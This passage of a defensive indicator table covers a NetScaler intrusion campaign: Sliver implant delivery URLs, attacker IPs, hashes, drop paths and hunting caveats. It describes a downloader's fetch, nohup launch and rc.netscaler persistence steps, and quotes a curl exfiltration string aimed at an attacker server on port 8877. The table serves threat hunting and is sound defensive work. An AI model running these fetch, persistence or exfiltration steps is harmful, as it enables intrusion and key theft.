| URL path | /HaKi2ufpiQ8AeVTZ/host | External malware analysis report (TLP:CLEAR, 2 Oct) [62]; VirusTotal [83] | Delivery path of the FreeBSD Sliver implant on f.pylrk.cc:443 (HTTPS, HTTP/2 200, application/octet-stream, 8,822,784 bytes); live and unchanged 3 Oct, per the TLP:CLEAR malware analysis report and re-verified directly | Path is random-looking and may rotate; hunt it in proxy logs together with the f.pylrk.cc hostname. A negative result proves nothing - the file may be served from other paths. | Public VirusTotal page and TLP:CLEAR report |
| File path | /var/tmp/.host (and /private/var/tmp/.host) | External malware analysis report (TLP:CLEAR, 2 Oct) [62]; VirusTotal [83]; Poppelgaard [56] | Filename VT records for the FreeBSD Sliver implant, consistent with deployment on a NetScaler/FreeBSD appliance; citrix3.bad is another recorded name. Per checker v1.13: citrix3.bad and an executable /var/tmp/.host are flagged as compromise; any other /var/tmp/.host only as a [CHECK] | From VT filename metadata and the external report, not from IR on a victim appliance. A hit on the executable variant: preserve the file and investigate and correlate before concluding compromise. A missing file does not rule out compromise. /tmp and /var/tmp clear on reboot. | Public VirusTotal page and TLP:CLEAR report |
| Domain | pylrk.cc | Poppelgaard [61]; Poppelgaard [56]; Beaumont, Oct 2 19:01 UTC [98]; External malware analysis report (TLP:CLEAR, 2 Oct) [62] | C2 and payload-delivery domain: registered 2 Oct 06:56 UTC (NameSilo, Cloudflare NS). Poppelgaard reported it as a download server seen in attack attempts on 2 Oct (article and checker release 1.11). The FreeBSD Sliver implant served from f.pylrk.cc carries a hardcoded C2 reference to https://www.pylrk.cc and resolves its C2 via this domain (TLP:CLEAR malware analysis report, corroborated by Expel). The write-up screenshotted in the Beaumont post spells it *.pyrlink.cc in an edit ("Block that too"), but that domain is not registered; the screenshots also do not name the delivery host, so the two spellings may describe the same host. The checker v1.11 list also carried pyrlnk.cc, a third unregistered spelling; Poppelgaard removed it in v1.12 as a misspelling of pylrk.cc (issue #3, credited to PitScaler), leaving pylrk.cc as the only registered spelling. Passive DNS shows f.pylrk.cc A records from 2 Oct 11:50 UTC on Cloudflare proxy IPs (104.21.30.48 / 172.67.150.149); www.pylrk.cc also resolves there, the apex has no A record. Re-checked live 3 Oct. | Malware-role now multi-source (checker, MAR, Expel corroboration, embedded C2 string in the implant). VirusTotal: 1 of 91 engines flags the apex and f.pylrk.cc - weak as always on fresh infrastructure. The spelling *.pyrlink.cc from the screenshots is unregistered. Cloudflare-fronted: block the domain name, not the resolved IPs (shared with millions of sites). | Public blog, GitHub release and TLP:CLEAR report |
| Domain | f.pylrk.cc | External malware analysis report (TLP:CLEAR, 2 Oct) [62]; VirusTotal [83] | Payload-delivery subdomain of pylrk.cc: served the FreeBSD Sliver implant (8,822,784 bytes) at /HaKi2ufpiQ8AeVTZ/host over HTTPS, per the TLP:CLEAR malware analysis report (2 Oct, corroborated by Expel). First seen in passive DNS 2 Oct 11:50 UTC on Cloudflare proxy IPs; Let's Encrypt certificate CN=pylrk.cc issued 2 Oct 06:01 UTC; still serving 3 Oct (re-verified). Root path returns a minimal placeholder page (<h1>c</h1><p>ok</p>). | Multi-source and independently verifiable, but vendor-independent - not a vendor or CERT publication. Cloudflare-fronted: block the hostname, never the proxy IPs. Subdomains under pylrk.cc may rotate; hunt *.pylrk.cc in DNS logs rather than this single host. | Public VirusTotal page and TLP:CLEAR report |
| File path | /nsconfig/.nsl and /var/nslog/.nsl | Previdian (@PrevidianCyber) [58]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57]; External malware analysis report (TLP:CLEAR, 2 Oct) [62] | Drop paths for the installer script Previdian reports being dropped on their NetScaler sensors during CVE-2026-88771 exploitation attempts; the script retrieves the 'host' ELF (the FreeBSD Sliver implant, hash 0188b0eb...) from f.pylrk.cc and persistence via rc.netscaler matches the SAML-attack kit already documented here. Beazley Security lists a Sliver download script (SHA-256 c2f5532f..., below) whose behaviour matches: it fetches https://f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host, writes it to /nsconfig/.nsl (fallback /var/nslog/.nsl), chmod 755, launches it with nohup and appends a re-exec line to /nsconfig/rc.netscaler; it also drops a system-info page at /var/netscaler/logon/LogonPoint/ns_ctx.html (uname -srm output) | Single-source sensor observation (Previdian, 5 Oct, unverified by others); the Beazley hash independently confirms the same drop-path behaviour. A missing file proves nothing - these are checked by the checker's compromise sweep anyway; hunt them as secondary confirmation paths. | Public post, no TLP marking |
| SHA-256 | c2f5532f3209dce0bd30ead47a2616a74ce8170324ef68dfd59acac3f5f1da34 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57]; External malware analysis report (TLP:CLEAR, 2 Oct) [62]; Previdian (@PrevidianCyber) [58] | Sliver download script (Beazley Security, BSL-A1216: "Sliver download script", attribution Analysis). Shell script: fetches the FreeBSD Sliver implant from https://f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host to /nsconfig/.nsl (fallback /var/nslog/.nsl), chmod 755, launches it via nohup, appends a nohup re-exec line to /nsconfig/rc.netscaler for persistence, and writes uname -srm output to /var/netscaler/logon/LogonPoint/ns_ctx.html. VirusTotal (6 Oct): shell script, 6 of 75 engines (Linux/TrojanDownloader.SH.GWZ, UDS:Trojan.Shell.SBadur.gen, Agent5.DPN, Win32.Troj.Undef.a, Trojan:Script/Wacatac.B!ml). VT report: https://www.virustotal.com/gui/file/c2f5532f3209dce0bd30ead47a2616a74ce8170324ef68dfd59acac3f5f1da34 | Behaviour independently ties it to the f.pylrk.cc delivery chain and the /nsconfig/.nsl drop paths Previdian reported; attribution is Beazley IR (relayed via their public advisory). Low VT score is normal for a two-line downloader. | Public advisory |
| SHA-256 | 74da9485815ee124e2ebe155dbcfb758b54bd97760956998abf64838c865f78b | Poppelgaard [56] | Payload hash from the 2 Oct SAML-attack wave, relayed via Gotham Technology Group (ThreatUnpacked, r/Citrix and Valhalla sources; compiled in the Poppelgaard checker v1.12 as GK_HASHES; checked in the web, Gateway plugin/media folders, /nsconfig/.slap and /var/tmp/.ux). The checker groups these 11 hashes as: the downloaded /v script of the 2 Oct attack, SAML-attack kit generations 2 and 3, the chisel tunnel, Sliver implants and a Perl payload. VirusTotal (7 Oct): shell script, 3 of 75 engines malicious (analysis 6 Oct). VT report: https://www.virustotal.com/gui/file/74da9485815ee124e2ebe155dbcfb758b54bd97760956998abf64838c865f78b | Community-sourced compilation via Gotham; the checker does not name which file each hash is, and no vendor report has confirmed them individually. Weak-to-moderate VT scores. Match on content, not name. | Public GitHub repository, no TLP marking |
| SHA-256 | ec6d42cc99e3c7870dc11606643e8b296e4aadafaf886f05506e1f515aa55eee | Poppelgaard [56] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 5 of 75 engines (UDS:Backdoor.Win32.Tofsee, HEUR:Backdoor/Perl.WebShell.b, Win32.Hack.Tofsee.a, Trojan:Script/Wacatac.B!ml). VT report: https://www.virustotal.com/gui/file/ec6d42cc99e3c7870dc11606643e8b296e4aadafaf886f05506e1f515aa55eee | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0 | Poppelgaard [56] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 2 Oct). VT report: https://www.virustotal.com/gui/file/12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0 | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 83307fb218b557a0a1cab46e094b038f9b795d2d02bd04ac7ce4e0d3eb4ec8c3 | Poppelgaard [56] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 2 Oct). VT report: https://www.virustotal.com/gui/file/83307fb218b557a0a1cab46e094b038f9b795d2d02bd04ac7ce4e0d3eb4ec8c3 | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b | Poppelgaard [56] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 2 Oct). VT report: https://www.virustotal.com/gui/file/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 12ff1448594844ffe072674e4da36c2bb92bce19bfdf494bcae0542ce6e1731a | Poppelgaard [56] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (analysis 3 Oct). VT report: https://www.virustotal.com/gui/file/12ff1448594844ffe072674e4da36c2bb92bce19bfdf494bcae0542ce6e1731a | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | d04663bdab3183c94381d19eec7af59f90890497d5ad95c7af1c00d0fe8901dc | Poppelgaard [56] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 3 Oct). VT report: https://www.virustotal.com/gui/file/d04663bdab3183c94381d19eec7af59f90890497d5ad95c7af1c00d0fe8901dc | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 0a7f88a74e82725e8ceaf9aa0b25b43c43105ff7653b29a0cbba94ce40b04447 | Poppelgaard [56] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 3 of 75 engines (analysis 6 Oct). VT report: https://www.virustotal.com/gui/file/0a7f88a74e82725e8ceaf9aa0b25b43c43105ff7653b29a0cbba94ce40b04447 | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3 | Poppelgaard [56] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 4 of 75 engines (analysis 7 Oct). VT report: https://www.virustotal.com/gui/file/602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3 | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 899299dcaa6531e450cfc844f7948bc3180c6cbebc43cf751e65ee261f6732cd | Poppelgaard [56] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 3 Oct). VT report: https://www.virustotal.com/gui/file/899299dcaa6531e450cfc844f7948bc3180c6cbebc43cf751e65ee261f6732cd | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 84f23d964ab636c81d95c3185f06a2ec628a9762dc767131d775500caf8dda0a | Poppelgaard [56] | Chisel tunnel binary of the 2 Oct SAML-attack group (GK_HASHES, Poppelgaard checker v1.12 via Gotham Technology Group). VirusTotal (7 Oct): ELF, 16 of 75 engines - the strongest of the eleven (Unix.Tool.HTTPTunnel, Linux/HackTool.Chisel.V, ELF:Chisel-G [PUP], score 99); analysis 1 Oct. VT report: https://www.virustotal.com/gui/file/84f23d964ab636c81d95c3185f06a2ec628a9762dc767131d775500caf8dda0a | Chisel is a legitimate open-source HTTP tunnel also used by pentesters; the ELF label names the tool family, not the actor. Its presence in this group ties it to the campaign, but a chisel binary alone is not proof of compromise. | Public GitHub repository, no TLP marking |
| IP range | 138.199.60.0/24 (Huntback decoys .22/.36 and Gotham crash payloads from .5 known individually; full /24 is a hunting lead) | Poppelgaard [56] | Per Gotham Technology Group (5 Oct, shared with permission, carried in checker v1.13): the hosting/VPN range used throughout the SAML attack - CVE-2026-88779 crash payloads from .5, near-daily SAML POSTs since 19 Sep without a successful sign-in, and webshell polling from .22/.36. The checker hunts the whole /24 as a [CHECK] hunting lead only (shared hosting/VPN space, never red on its own), while .5, .22 and .36 are listed individually as attacker/decoy IPs | Range-level hunting lead: shared hosting and VPN space, so individual hosts in it may be benign. Correlate what was requested and whether any sign-in succeeded before acting on other addresses in the range. | Public GitHub repository, no TLP marking |
| IP range | Password-spray sources: 138.226.239.0/24, 185.136.15.0/24, 77.91.71.0/24, 93.152.219.115 | Poppelgaard [56] | Password-spray source ranges seen against a Gateway on 27 Sep (Gotham, via the Poppelgaard checker v1.11); the checker counts failed logins from these ranges as targeted | Hunting lead: failed logins from cloud/ISP ranges are constant background noise on any public Gateway - the ranges alone are not compromise evidence. Correlate with campaign indicators before acting; do not block the ranges on this alone. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/c1.txt, /var/tmp/c2.txt, /var/tmp/labels.txt | Poppelgaard [56] | Stolen-config export files seen alongside the admin-persistence payload (Deyda triage script v9.43, carried in the Poppelgaard checker v1.10); the checker also hunts copies of ns.conf and the .F1.key/.F2.key key-encryption files in web or temp folders, contents not shown | From a public triage script, not a vendor report. A missing file does not rule out earlier theft; a hit means configuration data was staged - preserve and inspect securely, rotate if confirmed. | Public GitHub repository, no TLP marking |
| Log pattern | Shell history touching /flash/nsconfig/keys, F1.key/F2.key, database.php or LDAPTLS_REQCERT | Poppelgaard [56] | Key and config theft in sh.log/bash.log history (Poppelgaard checker v1.7, from Deyda); a hit before the fix means keys and passwords should be rotated | Legitimate admins touch these files too - check who ran the command and when before treating it as theft. | Public GitHub repository, no TLP marking |
| Log pattern | 1-byte nsepa.deb probes (HTTP 206) | Poppelgaard [56] | Pre-check probes for the Gateway client-package path (Gotham, via the Poppelgaard checker v1.7): a 1-byte HTTP 206 response confirms the endpoint accepts range requests before staging a fake .deb webshell | Hunting lead, not attack proof - range probes also come from download managers. Means the box was probed, not that a webshell landed. | Public GitHub repository, no TLP marking |
| IPv4 | 13.59.243.24 | Poppelgaard [56] | Gateway recon scanner that hits many Gateways for the TENEX c88771.json marker (Gotham, via the Poppelgaard checker v1.11). Amazon AWS | Hunting lead, not attack proof. AWS is shared infrastructure used by researchers and scanners alike; correlate before acting. | Public GitHub repository, no TLP marking |
| Domain | oast.fun | Poppelgaard [56] | Domain in the Poppelgaard checker v1.11 DNS-hunt list (14 domains); the checker does not state which source observed it or what it served | Low confidence and dual use: oast.fun is a known out-of-band-testing domain family used by security tooling (Interact.sh-style OAST callbacks), so a hit can be a researcher's or pentester's test, not the actor. Hunting lead only; do not block without context. | Public GitHub repository, no TLP marking |
| Domain | dnsl.cc | Poppelgaard [56] | Domain in the Poppelgaard checker v1.11 DNS-hunt list (14 domains); the checker does not state which source observed it or what it served | Single compiled list; no public source describes this domain's role in the campaign. A short generic domain whose ownership is privacy-redacted. Hunting lead only. | Public GitHub repository, no TLP marking |
| Domain | gs.thc.org | Poppelgaard [56]; TENEX [55] | Domain in the Poppelgaard checker v1.11 DNS-hunt list (14 domains); the checker does not state which source observed it or what it served | Low confidence and dual use: thc.org subdomains are associated with the Hacker's Choice gsocket reverse-shell tooling, which is used by both penetration testers and attackers (TENEX lists gsocket in the same campaign - see the gsocket rows). A hit needs correlation with other indicators before it means anything. Hunting lead only. | Public GitHub repository, no TLP marking |
| Domain | webhook.site | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57]; Poppelgaard [56] | Request-capture service used for exfiltration in the second wave of this campaign, per Beazley Security (BSL-A1216, carried in the Poppelgaard checker v1.12 via Gotham). VirusTotal: 1 of 91 engines - expected for a legitimate dual-use service | webhook.site is a legitimate public request-inspection tool used by developers and penetration testers every day; only its abuse in this campaign makes it an indicator. Never block the service wholesale - hunt its use in NetScaler outbound logs and correlate with other campaign indicators. | Public advisory and GitHub repository, no TLP marking |
| Domain | dnshook.site | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57]; Poppelgaard [56] | DNS-capture service used alongside webhook.site for second-wave exfiltration, per Beazley Security (BSL-A1216, via the Poppelgaard checker v1.12). VirusTotal: 12 of 91 engines | Same dual-use caveat as webhook.site: a capture service that is legitimate in other contexts. Hunt and correlate; do not blanket-block without understanding your traffic. | Public advisory and GitHub repository, no TLP marking |
| IPv4 | 51.158.203.95 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57]; Poppelgaard [56]; Previdian (@PrevidianCyber) [58] | Second-wave exploitation infrastructure per Beazley Security (BSL-A1216, updated through 4 Oct; via the Poppelgaard checker v1.12). Previdian reports their sensors saw this IP targeting multiple vulnerabilities across their network since 25 August. WHOIS: Scaleway, Amsterdam. VirusTotal: 1 of 91 engines malicious, 2 suspicious (5 Oct) | IR observation shared with permission and relayed through two parties; the 25 Aug first-seen is Previdian's sensor observation, single-source. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. Low VT score does not prove safety. | Public advisory and GitHub repository, no TLP marking |
| IPv4 | 185.244.213.112 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57]; Poppelgaard [56] | Second-wave exploitation infrastructure per Beazley Security (BSL-A1216, updated through 4 Oct; carried in checker v1.12 alongside 51.158.203.95 and 158.94.211.205). WHOIS: M247, Paris. VirusTotal: 0 of 91 engines (6 Oct) | IR observation shared with permission and relayed through two parties; Beazley's advisory was not reviewed directly for this entry, provenance is via the checker. Clean VT proves nothing - fresh infrastructure scores zero. | Public advisory and GitHub repository, no TLP marking |
| IPv4 | 104.207.47.54 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Exploit delivery per Beazley Security's BSL-A1216 IoC table (attribution: Beazley Security), read directly from the advisory (updated 4 Oct). RIPE space, announced via 3xK Tech GmbH (DE). VirusTotal (6 Oct): 1 of 92 engines malicious, 1 suspicious (analysis 29 Sep). VT report: https://www.virustotal.com/gui/ip-address/104.207.47.54 | Beazley IR observation; attacker IPs can be unique to one victim and absence elsewhere is not proof of a clean host. Low VT score proves nothing - fresh infrastructure. | Public advisory |
| IPv4 | 104.207.46.202 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Exploit delivery per Beazley Security's BSL-A1216 IoC table (Beazley Security), read directly from the advisory (updated 4 Oct). RIPE space, announced via 3xK Tech GmbH (DE). VirusTotal (6 Oct): 0 of 92 engines, 3 suspicious (analysis 6 Oct). VT report: https://www.virustotal.com/gui/ip-address/104.207.46.202 | Beazley IR observation; attacker IPs can be unique to one victim and absence elsewhere is not proof of a clean host. Clean VT proves nothing. | Public advisory |
| IPv4 | 104.207.32.77 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Exploit delivery per Beazley Security's BSL-A1216 IoC table (Beazley Security), read directly from the advisory (updated 4 Oct). RIPE space, announced via 3xK Tech GmbH (DE). VirusTotal (6 Oct): 1 of 92 engines malicious, 1 suspicious - but the analysis dates to 26 June, before this campaign, so the flags may predate any campaign role. VT report: https://www.virustotal.com/gui/ip-address/104.207.32.77 | Beazley IR observation; attacker IPs can be unique to one victim and absence elsewhere is not proof of a clean host. The VT signal is stale relative to the campaign. | Public advisory |
| IPv4 | 158.94.211.205 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57]; Poppelgaard [56] | Callback server on port 8080 per checker v1.12 (Beazley Security second wave, BSL-A1216); also in the checker's attacker-IP list. RIPE space (158.94.0.0/16). VirusTotal: 3 of 91 engines malicious, 4 suspicious (6 Oct) | IR observation shared with permission and relayed through two parties; Beazley's advisory was not reviewed directly for this entry, provenance is via the checker. A callback server IP can be unique to one victim. | Public advisory and GitHub repository, no TLP marking |
| IPv4 | 138.199.60.5 | Poppelgaard [56] | Attacker IP that sent CVE-2026-88779 crash payloads to /saml/login and /cgi/samlauth on 5 October, per Gotham Technology Group's 5 Oct update (shared with permission; carried in checker v1.13, now 105 attacker IPs). RIPE space. VirusTotal: 7 of 91 engines malicious, 2 suspicious (6 Oct) | IR observation shared with permission and relayed through two parties. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 138.199.60.22 | Poppelgaard [56] | Huntback.io decoy that sent the CVE-2026-88771 NX-CVE-OK / nx_verify.html injection check, per checker v1.13 (4 Oct). RIPE space (same /24 neighbourhood as 138.199.60.5). VirusTotal: 3 of 91 engines malicious, 4 suspicious (6 Oct) | Decoy/honeypot operators also run injection checks - a hit can be researcher traffic. Correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 138.199.60.36 | Poppelgaard [56] | Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. VirusTotal: 2 of 91 engines malicious (6 Oct) | Decoy/honeypot caveat as for 138.199.60.22. | Public GitHub repository, no TLP marking |
| IPv4 | 146.70.199.170 | Poppelgaard [56] | Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. RIPE space (Inferno Solutions-adjacent ranges). VirusTotal: 0 of 91 engines, 2 suspicious (6 Oct) | Decoy/honeypot caveat as for 138.199.60.22; clean VT proves nothing. | Public GitHub repository, no TLP marking |
| IPv4 | 146.70.211.157 | Poppelgaard [56] | Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. VirusTotal: 2 of 91 engines malicious (6 Oct) | Decoy/honeypot caveat as for 138.199.60.22. | Public GitHub repository, no TLP marking |
| IPv4 | 23.162.8.173 | Poppelgaard [56] | Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. VirusTotal: 0 of 91 engines, 1 suspicious (6 Oct) | Decoy/honeypot caveat as for 138.199.60.22; clean VT proves nothing. | Public GitHub repository, no TLP marking |
| IPv4 | 38.60.206.53 | Poppelgaard [56] | One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (carried in checker v1.13 as a yellow hunting lead). WHOIS: Cogent Communications (COGENT-A block, KAOPU-CGNT-NET-2 subnet); announced via AS154177 Light Node Limited per BGP. VirusTotal: insufficient data (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/38.60.206.53 | Hunting lead: a pre-disclosure GET to the SAML endpoints is a strong lead but not attack proof - monitoring services also poll these endpoints. | Public GitHub repository, no TLP marking |
| IPv4 | 38.60.212.144 | Poppelgaard [56] | One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (checker v1.13 hunting lead). WHOIS: Cogent Communications (COGENT-A block, KAOPU-CGNT-NET-2 subnet); announced via AS154177 Light Node Limited per BGP. VirusTotal: 4 of 91 engines malicious (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/38.60.212.144 | Hunting lead, as for 38.60.206.53. | Public GitHub repository, no TLP marking |
| IPv4 | 149.102.254.17 | Poppelgaard [56] | One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (checker v1.13 hunting lead). WHOIS: Cogent Communications (DATACAMP-CGNT-NET-4 subnet - Cogent downstream carrying Datacamp/CDNEXT space, AS212238 per BGP). VirusTotal: 2 of 91 engines malicious (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/149.102.254.17 | Hunting lead, as for 38.60.206.53. | Public GitHub repository, no TLP marking |
| IPv4 | 130.94.19.84 | Poppelgaard [56] | One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (checker v1.13 hunting lead). WHOIS: NTT America (NTTA-130-94 block, LIGHTNODE sub-allocation - the AS154177 Light Node space). VirusTotal: 0 of 91 engines, 1 suspicious (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/130.94.19.84 | Hunting lead, as for 38.60.206.53; clean VT proves nothing. | Public GitHub repository, no TLP marking |
| User-Agent | probe/1 | Poppelgaard [56] | User-Agent of a SAML probe seen by Lupovis on 17 September - before CVE-2026-88779 was public: a ~2.8 KB SAMLRequest that inflates to 62 KiB of padding and binary, sent to /saml/login or /cgi/samlauth (checker v1.13 adds this as a [CHECK] hunt) | Hunting lead, never red on its own (the checker's own words): one probe does not prove targeting, and other tools may send short probe/1 requests. The inflated-SAMLRequest shape is the discriminator. | Public GitHub repository, no TLP marking |
| IPv4 | 81.94.239.8 | Poppelgaard [56] | Exfil server (port 8877) of a config-theft payload seen in the field (checker v1.14, 6 Oct): the payload writes ns.conf and every /nsconfig/ssl/*.key into a random 6-character .css file in /var/netscaler/logon/LogonPoint (e.g. 74tns8.css), sends it with curl --data-binary to 81.94.239.8:8877, then the attacker downloads the .css from the Gateway. WHOIS: DEAC Hosting, Latvia. VirusTotal (6 Oct): 1 of 92 engines malicious. VT report: https://www.virustotal.com/gui/ip-address/81.94.239.8 | Single third-party field report carried in the checker; unverified by any vendor or CERT. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. If a dump succeeded, rotate all keys, certificates and passwords. | Public GitHub repository, no TLP marking |
| Pattern | Random 6-character .css in /var/netscaler/logon/LogonPoint/ (e.g. 74tns8.css) | Poppelgaard [56] | Config/key dump marker per checker v1.14: any file under the web folders (any extension) holding ===CONF: / ===KEY: markers, a private key or ns.conf lines is flagged as compromise (the theft payload ran). A GET for a random 6-char .css in LogonPoint: HTTP 404 means the dump never landed (attempt failed); HTTP 200 means the file existed and was downloaded | Hunt pattern from the checker's field report, not a vendor publication. A missing file does not rule out an earlier dump. A 200 pick-up or a dump file hit is a strong key-exposure signal: preserve the file, investigate and correlate, and rotate all keys, certificates and passwords. | Public GitHub repository, no TLP marking |
| Exploit string | curl --data-binary @<file> ... :8877/ | Poppelgaard [56] | Attack text of the config-theft payload per checker v1.14 (also matched by the v1.13 download-host and source-IP notes) | Attack-string lead; a match means targeting, file existence and HTTP-log pick-ups decide execution. | Public GitHub repository, no TLP marking |
| File path | .php / .phtml under /var/netscaler/logon and /var/vpn; one-line webshells calling a request parameter as a function; setuid/setgid programs under /var, /tmp, /nsconfig, /flash, /home, /root; /var/rgroupadd; LogonPoint/uiareas/linux/gnuplot.php | Poppelgaard [56] | Checker v1.14 compromise checks from community pull requests #4/#5 (feiglein74): any .php/.phtml under those paths; PHP files the Apache error log shows running or that still exist (first and last date shown; only-blocked scanner requests for non-existing names listed as OK); setuid/setgid programs in those directories; and two field finds from Citrix's own IoC scan - a 2023 CVE-2023-3519-wave webshell at LogonPoint/uiareas/linux/gnuplot.php and a setuid backdoor at /var/rgroupadd. POSTs to PHP names count as webshell use when the file exists or ran, otherwise a yellow hunting lead. Also: files a payload dropped in the web folders that were downloaded with HTTP 200 | Field findings from a community contributor, compiled in the checker; no vendor report publishes gnuplot.php or /var/rgroupadd. On a hit: preserve the file and investigate and correlate (file dates, request logs) before concluding compromise - the CVE-2023-3519 shell in particular 